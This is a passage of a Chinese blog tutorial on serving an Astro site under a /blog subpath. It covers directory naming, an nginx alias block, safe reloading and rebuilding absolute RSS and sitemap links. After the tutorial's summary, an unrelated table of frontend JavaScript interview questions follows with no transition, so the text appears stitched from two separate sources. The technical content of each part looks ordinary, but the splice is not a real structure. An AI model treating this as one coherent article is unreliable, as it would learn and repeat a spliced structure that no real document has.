模板默认把文章放在 src/pages/blog/，如果站点又挂在 /blog 下，最终 URL 会变成 /blog/blog/xxx 这种叠床架屋的路径。

我把它改名成了 src/pages/posts/，最终地址干净：

首页 /blog/
文章列表 /blog/posts
文章详情 /blog/posts/hello-world

第四步：nginx 配置

用 alias 指向静态文件目录，注意 alias 的目录路径要带结尾斜杠：

location ^~ /blog {
    alias /var/www/blog/;
    index index.html;
    try_files $uri $uri/ $uri/index.html =404;
}

配完先 nginx -t 校验，再 nginx -s reload，不要直接 restart——万一配置有语法错误，reload 会拒绝加载而保持旧配置运行，restart 可能直接把站点搞挂。

第五步：absolute URL 相关的坑

RSS 和 sitemap 里的链接需要绝对地址，new URL('rss.xml', Astro.site) 会生成 https://example.com/rss.xml，丢失 /blog 前缀。要手动补：

const rssHref = new URL(`${BASE}/rss.xml`.slice(1), Astro.site).href;

小结

子路径部署的核心就一句话：Astro 管资源，你管链接。资源前缀它自动加，手写的 href 得自己拼。改完记得全局搜一遍 href="/ 确认没有漏网的。

优先级	题目	关键考点
P0 必会	防抖/节流	this 透传、cancel、时间戳 vs 定时器
P0 必会	深拷贝	WeakMap 循环引用、Date/RegExp/Symbol 键
P0 必会	Promise.all	索引保序、计数、单个失败即 reject
P0 必会	call/apply/bind	Symbol 挂载、原型链维护、new 兼容
P0 必会	并发控制	Promise.race 腾位、结果保序
P1 高频	new/instanceof	原型链遍历、返回对象优先级
P1 高频	发布订阅	once 包装、Set 存储、链式返回
P1 高频	数组扁平化	递归/迭代/toString 三种写法
P2 加分	Promise 手写	A+ 状态机、resolvePromise、穿透
P2 加分	柯里化	fn.length、递归收集参数
P2 加分	重试/超时	指数退避、Promise.race